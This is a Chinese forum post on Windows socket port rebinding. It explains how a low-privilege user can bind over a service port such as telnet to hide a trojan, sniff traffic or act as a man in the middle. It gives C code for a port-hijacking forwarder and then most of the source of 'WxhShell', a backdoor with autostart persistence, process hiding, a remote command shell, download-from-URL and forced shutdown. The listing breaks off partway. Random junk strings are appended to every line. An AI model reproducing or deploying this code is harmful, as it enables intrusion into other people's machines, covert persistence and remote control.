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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \ OINzfbr  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'n#S6.Y:  
myX0<j3G5  
  saddr.sin_family = AF_INET; 1)r_h(  
:Rx"WY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); V/%;:u l.  
Q31c@t  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ov>L-  
(,y/nc=GN  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wo9f99  
?Gw89r  
  这意味着什么?意味着可以进行如下的攻击: <s3(   
FQ1oqqr  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m6<0 hP  
[&s:x ,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) C P v}A  
0J</`/gH  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 dV  
+Z]%@"S?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HN@)/5BY  
74Wg@! P  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (.+n1)L?  
6\@, Lb  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~riw7"  
'A2"&6m)28  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nQmYeM  
^k##a-t<_>  
  #include XLxr~Yo  
  #include _S1uJ~j;E  
  #include FR"^?z?}p  
  #include    pjM|}i<'Q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   X\RTHlw']  
  int main() vn0*KIrX  
  { h_!"CF <n  
  WORD wVersionRequested; e[!>ezaIY  
  DWORD ret; czRh.kz,  
  WSADATA wsaData; (B#|3o  
  BOOL val; oFp&j@`k8j  
  SOCKADDR_IN saddr; $@wkQ%  
  SOCKADDR_IN scaddr; iKY&gnu"  
  int err; &r%3)Z8Et  
  SOCKET s; !o!04_  
  SOCKET sc; `_)dEu  
  int caddsize; @eWx4bl  
  HANDLE mt; -Ma"V  
  DWORD tid;   rOT8!"  
  wVersionRequested = MAKEWORD( 2, 2 ); _jz=BRO$  
  err = WSAStartup( wVersionRequested, &wsaData ); gId+hxFa:r  
  if ( err != 0 ) { _I!&w!3oM  
  printf("error!WSAStartup failed!\n"); C-Z,L#  
  return -1; cj *4 XYu  
  } nj$K4_  
  saddr.sin_family = AF_INET; }dM^6 Kd%  
   ewg WzB9c  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4{KsCd)  
ND>}t#^$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (Q+3aEUE  
  saddr.sin_port = htons(23); VUb*,/hxa  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YBP{4Rl  
  { P'8 E8_M}  
  printf("error!socket failed!\n");  Eqc$*=  
  return -1; BR'|hG  
  } lLhCk>a  
  val = TRUE; 2OTpGl  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 d,)L,J  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $BY{:#a]  
  { rL=$WxdPU  
  printf("error!setsockopt failed!\n"); %}[??R0  
  return -1; i`~y %y  
  } zBbTj IFQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; FQyiIT6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @j6D#./7j  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $H^6I8>  
@4i D N  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |zMQe}R@%  
  { Gu= Rf`o  
  ret=GetLastError(); 'SmdU1]4BD  
  printf("error!bind failed!\n"); yl}Hr*  
  return -1; _MU'he^W  
  } W5p}oN  
  listen(s,2); T*IudxW  
  while(1) o;.-I[9h]  
  { u2t<auE9^  
  caddsize = sizeof(scaddr); pqe**`z@y  
  //接受连接请求 9\8""-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 61'7b`:(hi  
  if(sc!=INVALID_SOCKET) OH~t\fQ1Zf  
  { }=U\v'%m  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  51j  
  if(mt==NULL) wb}tN7~Y;  
  { K  +~  
  printf("Thread Creat Failed!\n"); +3C S3fTq  
  break; Xk2  75Y  
  } 4M _83WL  
  } Z9U*SS5s,  
  CloseHandle(mt); g=pDC+  
  } Z8 T{Xw6%  
  closesocket(s); =9c24j  
  WSACleanup(); ^{s)`j'I*  
  return 0; ~K[rQ  
  }   d^w_rL  
  DWORD WINAPI ClientThread(LPVOID lpParam) !rWib` %  
  { a-3~HH  
  SOCKET ss = (SOCKET)lpParam; /$n${M5!  
  SOCKET sc; 9qpH 8j+  
  unsigned char buf[4096]; 2d._X$fx7  
  SOCKADDR_IN saddr; eYagI  
  long num; qSQjAo4t@  
  DWORD val; `drvu?F  
  DWORD ret; 8[DD=[&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 , ?%`Ky/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $*PyzLS  
  saddr.sin_family = AF_INET; _ehU:3L`s  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); HV sIbQS  
  saddr.sin_port = htons(23); O^f@ g l  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sLTf).xh  
  { ?eu=0|d  
  printf("error!socket failed!\n"); ~7ArH9k .  
  return -1; rh!41  
  } EgY]U1{  
  val = 100; R+m{nO~r  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >fjf] 6  
  { .VUZ4e  
  ret = GetLastError(); /`1zkBj<&  
  return -1; 3oSQe"  
  } `S!`=26Z!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X)yTx8v4  
  { i->sw#  
  ret = GetLastError(); T1x$v,)8x  
  return -1; ^Dh2_vbI  
  } x[vX|oE!A  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) d`:0kOF+  
  { 6@T_1  
  printf("error!socket connect failed!\n"); 9u:MF0:W  
  closesocket(sc); DF|qNX  
  closesocket(ss); S`J_}>  
  return -1; ]Rw,5\0  
  } vj#gY2qZ  
  while(1) ]-R8W/fDn  
  { :dK%=j*ZK  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4TLh'?Xu9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0 xPML}|V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 i3kI{8h  
  num = recv(ss,buf,4096,0); _ p?q/-[4  
  if(num>0) xUG|@xIwc  
  send(sc,buf,num,0); \>\w-ty[(  
  else if(num==0) 9_HEImk  
  break; t rHj7Nw  
  num = recv(sc,buf,4096,0); ~:JKXa?  
  if(num>0) }#Vo XilX  
  send(ss,buf,num,0); Y(&phv&  
  else if(num==0) }$b/g  
  break; :?60pu=  
  } ok7DI  
  closesocket(ss); B[k"xs  
  closesocket(sc); C5eol &  
  return 0 ; p<jHUG4?'  
  } oVLz7Y[JE  
>Vn!kN6\  
6z/8n f +u  
========================================================== D]4?UL  
yqoi2J:  
下边附上一个代码,,WXhSHELL .fZv H  
/a]+xL  
========================================================== GA;E (a  
eNXpRvY  
#include "stdafx.h" {(t (}-:Z  
M>0~Ek%3  
#include <stdio.h> RRV&!<l@$  
#include <string.h> hzPpw.  
#include <windows.h> 'dBzv>ngD  
#include <winsock2.h> | WDX@Q  
#include <winsvc.h> E6n;_{Se/S  
#include <urlmon.h> $bMeL7CN  
#ReW#?P%b/  
#pragma comment (lib, "Ws2_32.lib") ~>{<r{H"S  
#pragma comment (lib, "urlmon.lib") h; {?z  
I2zSoQ1P  
#define MAX_USER   100 // 最大客户端连接数 tl#hCy  
#define BUF_SOCK   200 // sock buffer "b2Mk-qP  
#define KEY_BUFF   255 // 输入 buffer !vG._7lPp  
&npf %Eub  
#define REBOOT     0   // 重启 );=JoRQ{  
#define SHUTDOWN   1   // 关机 !lHsJ)t  
{5*+  
#define DEF_PORT   5000 // 监听端口 VM-J^  
_I@dt6oF  
#define REG_LEN     16   // 注册表键长度 !3Pl]S~6!  
#define SVC_LEN     80   // NT服务名长度 ,ll!19y  
@89mj{  
// 从dll定义API 4N*^%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )TXn7{M:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1)k))w9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {9P<G]Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V1(eebi|  
3aW4Gs<g  
// wxhshell配置信息 smk0*m4  
struct WSCFG { t6~|T_]  
  int ws_port;         // 监听端口 W+Iln`L  
  char ws_passstr[REG_LEN]; // 口令 R$PiF1ffj  
  int ws_autoins;       // 安装标记, 1=yes 0=no d'DS7F(c{  
  char ws_regname[REG_LEN]; // 注册表键名 tMupX-V  
  char ws_svcname[REG_LEN]; // 服务名 *r(iegO$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SR8[ 7MU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &0Nd9%>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g%^Zq"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d{DlW |_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &4DvZq=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mz/KGZ5t  
$z` jR*  
}; @ /c{gD  
;9b?[G  
// default Wxhshell configuration YMz[je  
struct WSCFG wscfg={DEF_PORT, r\L:JTZ$  
    "xuhuanlingzhe", X~W5Z(w(O  
    1, S0kH/A  
    "Wxhshell", m@"!=CTKd  
    "Wxhshell", -Xx,"[sN\w  
            "WxhShell Service", 'O2{0  
    "Wrsky Windows CmdShell Service", $YL} rM  
    "Please Input Your Password: ", mVk:[ }l6  
  1, V8&%fxn+  
  "http://www.wrsky.com/wxhshell.exe", C%G-Ye|@  
  "Wxhshell.exe" d6~wJMFl  
    }; BXLhi(.s  
c-`&e-~XKL  
// 消息定义模块 @p}H@#/u\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %K?~$;Z.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]}C#"Xt  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6V!yfps)  
char *msg_ws_ext="\n\rExit."; {:fyz#>>^  
char *msg_ws_end="\n\rQuit."; u!;kBs  
char *msg_ws_boot="\n\rReboot..."; IHf A;&b  
char *msg_ws_poff="\n\rShutdown..."; c1b@3  
char *msg_ws_down="\n\rSave to "; &>sG x K  
YW>|gE  
char *msg_ws_err="\n\rErr!"; KvC:(Vqj  
char *msg_ws_ok="\n\rOK!"; ;`@DQvVZ:  
7Nx@eoZ  
char ExeFile[MAX_PATH]; ])0&el3-  
int nUser = 0; %`%1W MO  
HANDLE handles[MAX_USER]; Fx)]AJ~[t  
int OsIsNt; %p^C,B{7w  
:|P"`j  
SERVICE_STATUS       serviceStatus; /|BzpIfpN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;LthdY()n(  
h&.9Q{D  
// 函数声明 x7t"@Gz  
int Install(void); ^!E;+o' t  
int Uninstall(void); &# `d8}3D  
int DownloadFile(char *sURL, SOCKET wsh); pLrNYo*d  
int Boot(int flag); &<k )W  
void HideProc(void); cXtL3T+  
int GetOsVer(void); Mx0c # d.  
int Wxhshell(SOCKET wsl); V<nh+Q3<d  
void TalkWithClient(void *cs); EtN"K-X  
int CmdShell(SOCKET sock); kRZ(  
int StartFromService(void); vAU^<$D27  
int StartWxhshell(LPSTR lpCmdLine); o %Pi;8  
H;Z{R@kf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2-UZ|y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S &cH1QZ  
g)xzy^2e  
// 数据结构和表定义 v#=WdaNz  
SERVICE_TABLE_ENTRY DispatchTable[] = (47jop0RDQ  
{ g`3g#h$  
{wscfg.ws_svcname, NTServiceMain}, {Yv |C)O  
{NULL, NULL} I\`:(V  
}; E8#y9q  
oKzV!~{0M;  
// 自我安装  0`QF:  
int Install(void) tk\)]kj  
{ HVz|*?&6  
  char svExeFile[MAX_PATH]; cGM?r}zJ  
  HKEY key; g1{2E<b 5  
  strcpy(svExeFile,ExeFile); =3;~7bYO  
m)ENj6A>yP  
// 如果是win9x系统,修改注册表设为自启动 &BxZ}JH=k  
if(!OsIsNt) { miUjpXt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aZ'(ar :  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :h8-y&;  
  RegCloseKey(key); @[v4[yq-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LI9 Uc\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |wM<n  
  RegCloseKey(key); >@0U B@  
  return 0; Z8I0v$LjR  
    } AOM@~qyc   
  } PTH'-G  
} "ph[)/u;  
else { UM}MK  
T4Io+b8 $  
// 如果是NT以上系统,安装为系统服务 O ]!/fZ;(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gaU(ebsE  
if (schSCManager!=0) 2gJkpf9JN  
{ =`g@6S  
  SC_HANDLE schService = CreateService ~COd(,ul  
  ( v[]&yD  
  schSCManager, GhR%fxe  
  wscfg.ws_svcname, i#I7ncX  
  wscfg.ws_svcdisp, ~j yl  
  SERVICE_ALL_ACCESS, *6wt+twH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,.i)(Or  
  SERVICE_AUTO_START, -r%k)4_  
  SERVICE_ERROR_NORMAL, @a}\]REn  
  svExeFile, ;4<!vVf e  
  NULL, }K|40oO5  
  NULL, +:&|]$8<  
  NULL, h| N!U/(U  
  NULL, r2=4Wx4(  
  NULL >k8FUf(c  
  ); IN?rPdY  
  if (schService!=0) &+")~2 +  
  { evlz R/  
  CloseServiceHandle(schService); 78kT}kgW  
  CloseServiceHandle(schSCManager); g]9A?#GyE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &5n0J  
  strcat(svExeFile,wscfg.ws_svcname); J_d!` Hhe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ; mwU>l,4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~IQw?a.E  
  RegCloseKey(key); :xZ^Jq91  
  return 0; z K6'wL!!I  
    } u5A$VRMN  
  } |g!3f  
  CloseServiceHandle(schSCManager); ~#|Pe1Y  
} *eAzk2  
} `J-&Y2_/k  
fcisDu8n  
return 1; 1Wb_>`;  
} : \KJw  
i| CAN,'  
// 自我卸载 5^Ps(8VbS  
int Uninstall(void) d[y(u<Vl  
{ `Zd\d:Wyv  
  HKEY key; p~17cH4~-f  
MXrh[QCU)  
if(!OsIsNt) { i7foZ\btFc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M{O8iq[  
  RegDeleteValue(key,wscfg.ws_regname); 66|$X,  
  RegCloseKey(key); ehyCAp0oI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tQ Ia6c4|  
  RegDeleteValue(key,wscfg.ws_regname); &'oZ]}^ 0  
  RegCloseKey(key); X^)v ZL?  
  return 0; s'=w/os  
  } ;0-Y),  
} 8Lr&-w8J  
} !EB[Lut m  
else { ?+?`Js o(  
%SJFuw"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #?fKi$fS;L  
if (schSCManager!=0) }S6"$R  
{ ]OLe&VRix  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L% `lC]  
  if (schService!=0) Og<nnq  
  { Fm4)|5  
  if(DeleteService(schService)!=0) { 48RSuH  
  CloseServiceHandle(schService); L<0eIw  
  CloseServiceHandle(schSCManager); 6Ej.X)~'K  
  return 0; =jkiM_<h  
  } \7] SG  
  CloseServiceHandle(schService); Q<T+t0G\O-  
  } Sq[LwJ  
  CloseServiceHandle(schSCManager); V~fPp"F  
}  $M|  
} PAS0 D #  
 C^*3nd3  
return 1; ?XB[awTD~  
} zy'cf5k2  
$$e"[g  
// 从指定url下载文件 Q|(G -  
int DownloadFile(char *sURL, SOCKET wsh) c|<E~_ .w@  
{ 5aJd:36I  
  HRESULT hr; LGq T$ O|  
char seps[]= "/"; dzs(sM=  
char *token; ~TYpq;rq  
char *file; jKr>Ig=$tA  
char myURL[MAX_PATH]; pYz\GSd  
char myFILE[MAX_PATH]; bDjm:G  
RiiwsnjC  
strcpy(myURL,sURL);  ,$(a,`s)  
  token=strtok(myURL,seps); R3hyz~\x&  
  while(token!=NULL) \EW<;xq  
  { ;S+]Z!5LT  
    file=token; \k.W F|~  
  token=strtok(NULL,seps); qyL!>kZr@  
  } ";;Nc>-Y  
c0QKx=  
GetCurrentDirectory(MAX_PATH,myFILE); N~tq ]  
strcat(myFILE, "\\"); D\^\_r):  
strcat(myFILE, file); PnZY%+[I  
  send(wsh,myFILE,strlen(myFILE),0); f"R'Q|7D  
send(wsh,"...",3,0); &vN^ *:Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c]68$;Z7  
  if(hr==S_OK) B3&C=*y  
return 0; kK/( [!  
else  }~Ir &   
return 1; eXi}-~o  
mr>dZ)  
} J*4T| #0  
`X%Qt ~  
// 系统电源模块 rw.DKM'  
int Boot(int flag) cYz|Ux  
{ a/xnf<(H  
  HANDLE hToken; .4[M7)  
  TOKEN_PRIVILEGES tkp; =0mn6b9-=  
-{E S 36  
  if(OsIsNt) { T 3 <2ds  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &]O^d4/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \.YJs"<3  
    tkp.PrivilegeCount = 1; RMlx[nsq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rmeGk&*R8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v+C%t!dx  
if(flag==REBOOT) { <Aqo[']  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ` >[Offhd  
  return 0; cnB:bQQK8  
} ` 5SQ4  
else { 4o<' fY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) auAwZi/  
  return 0; EN5F*s@r  
} :{%~L4$HI  
  } m8Rt>DY  
  else { !:Ob3Mq\  
if(flag==REBOOT) { b1EY6'R2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A8 !&Y;d  
  return 0; NUh+ &M  
} yM*_"z!L  
else { QBjvbWoIG(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ] QJ7q}  
  return 0; U% OlYP$g  
} =g$%jM>35  
} 2E0oLl[  
'#>(JN5\  
return 1; krRnE7\m  
} 7MIrrhk  
wZt2%+$6m  
// win9x进程隐藏模块 MH=Ld=i  
void HideProc(void) >aT~ G!y  
{ u5tUm  
~7:Q+ 0,,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D{6<,#P{w  
  if ( hKernel != NULL ) L=&}s[5  
  { =m 6<H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H__'K/nH+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lQpl8>  
    FreeLibrary(hKernel); ?N&s .  
  } 0qL.Rnt  
d?aZk-|c  
return; k0,]2R  
} r-,u)zf"  
d'[q2y?6N  
// 获取操作系统版本 =d/$B!t{  
int GetOsVer(void) r%%@~ \z  
{ Ehq [4}  
  OSVERSIONINFO winfo; XRi37|p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 95Q^7oI  
  GetVersionEx(&winfo); !e}4>!L,(^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C)ic;!$Qhb  
  return 1; . dJBv  
  else 8d(l)[GZt  
  return 0; mt4X  
} &}d5'IRT  
zZP&`#TAy  
// 客户端句柄模块 W&7(  
int Wxhshell(SOCKET wsl) = VMELk!z  
{ )1f.=QZN^;  
  SOCKET wsh; *A0*.>@N  
  struct sockaddr_in client; _po5j;"_O  
  DWORD myID; .dj}y jd]f  
6uxF<  
  while(nUser<MAX_USER) 1z_1Hl  
{ iB+ _+A  
  int nSize=sizeof(client); y w:=$e5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q oEZ>  
  if(wsh==INVALID_SOCKET) return 1; YMj iJTl  
9/{ 8Y&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tv5N wM  
if(handles[nUser]==0) ,r;E[k@  
  closesocket(wsh); ]PB95%  
else GN+!o($  
  nUser++; B?ipo,2~{  
  } 0O(Vyy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =)J )xH!N  
@XVx{t;g2  
  return 0; %yK- Q,'O  
} (^m~UN2@~m  
? 3oUkGfn  
// 关闭 socket G<Urj+3/Xo  
void CloseIt(SOCKET wsh) -c#vWuLl  
{ fC/P W`4Ae  
closesocket(wsh); /*G bl  
nUser--; yO@@-)$[y  
ExitThread(0); QV -ZP'e^  
}  SPnW8  
qA t#0  
// 客户端请求句柄 Z>*a:|  
void TalkWithClient(void *cs) rr2^sQ;_  
{ >AWWwq -  
c/%GfB[w0  
  SOCKET wsh=(SOCKET)cs; f||S?ns_  
  char pwd[SVC_LEN]; QiaBZAol  
  char cmd[KEY_BUFF]; `:d\L H  
char chr[1]; fn8|@)J  
int i,j;  3bHB$n  
0Y8Cz/$  
  while (nUser < MAX_USER) { H-eHX3c7  
i0~Af`v  
if(wscfg.ws_passstr) { NKiWt Z"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ITD&w g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6Q_ZP#oAV  
  //ZeroMemory(pwd,KEY_BUFF); ]Mvpec_B  
      i=0; W)L*zVj~  
  while(i<SVC_LEN) { 0iKAg  
xdMY2u  
  // 设置超时 NzS`s,N4/0  
  fd_set FdRead; <Vh }d/  
  struct timeval TimeOut; kpMo7n  
  FD_ZERO(&FdRead); h r6?9RJY  
  FD_SET(wsh,&FdRead); 3il$V78|  
  TimeOut.tv_sec=8; KLjvPT\  
  TimeOut.tv_usec=0; f[?JLp   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  p+-IvU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |3>%(4 OS  
pk6<wAs*?#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BCX2C  
  pwd=chr[0]; A.(e=;0bu  
  if(chr[0]==0xd || chr[0]==0xa) { Z_mQpt|y  
  pwd=0; D$VRE^k  
  break; < Yc)F.:  
  } r(rT.D&  
  i++; n*9nzx#q  
    } 5yjG\ ~  
T=CJUla  
  // 如果是非法用户,关闭 socket fnIF<Zt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b&'YW*W  
} h+Y>\Cxg  
5ka6=R(r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <`NtTG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 55=YM'5]  
)_}xK={  
while(1) { Z6&bUZF$bE  
z'\BZ5riX<  
  ZeroMemory(cmd,KEY_BUFF); %AA -G  
h-U]?De5\  
      // 自动支持客户端 telnet标准   fP 3t0cp  
  j=0; %CqG/ol  
  while(j<KEY_BUFF) { 7cO1(yE#vr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OHv9|&Tpl  
  cmd[j]=chr[0]; +jO#?J  
  if(chr[0]==0xa || chr[0]==0xd) { {U4{v=,!I  
  cmd[j]=0; @X P_~ N  
  break; :_Iz( 2hV  
  } xm tD0U1  
  j++; y( UWh4?t  
    } =F_j})O5  
Tq?f5swsI  
  // 下载文件 A,c_ME+DVB  
  if(strstr(cmd,"http://")) { \\C!{}+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Jgy6!qUn_  
  if(DownloadFile(cmd,wsh)) 8C*xrg#g:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (%G>TV  
  else {c7@`AV]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iF_u/#  
  } Q |hBGH9:B  
  else { ry+|gCZ  
#A:^XAU1Z@  
    switch(cmd[0]) { "2 D{X  
  bNHs jx@  
  // 帮助 mq4VwT  
  case '?': { @KJmNM1]V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6=x]20  
    break; s"~,Zzy@j  
  } 0*j\i@  
  // 安装 g_eR&kuh  
  case 'i': { rEWuWv$  
    if(Install()) %Rf{v5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qat'Vj,  
    else kmt+E'^]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DLO#_t^v.  
    break; |T-Y tuy8  
    } W k"_lJ  
  // 卸载 ]SN5 &S  
  case 'r': { ~se ;L  
    if(Uninstall()) e.(RhajB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a;(,$q3M  
    else gL1r"&^L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )P|/<>z  
    break; 6!){-IV  
    } s}DNu<"g  
  // 显示 wxhshell 所在路径 "AIS6%,  
  case 'p': { [TT:^F(Y  
    char svExeFile[MAX_PATH]; !_?HSDAj"n  
    strcpy(svExeFile,"\n\r"); {@Z*.G^  
      strcat(svExeFile,ExeFile); nVGOhYn  
        send(wsh,svExeFile,strlen(svExeFile),0); #Zn+-Ih  
    break; {q&A/  
    } @s\}ER3  
  // 重启 ke'OT>8  
  case 'b': { z] |Y   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _b &Aa%  
    if(Boot(REBOOT)) (e<p^T J]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @VsK7Eo  
    else { 54 f?YR  
    closesocket(wsh); ^!O2Fw  
    ExitThread(0); -Q1~lN m:  
    } Kn\$\?u  
    break; `?T8NK  
    } 5zt5]zl'  
  // 关机 <q|eG\01S  
  case 'd': { |^GN<y^cn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 24Htr/lPCT  
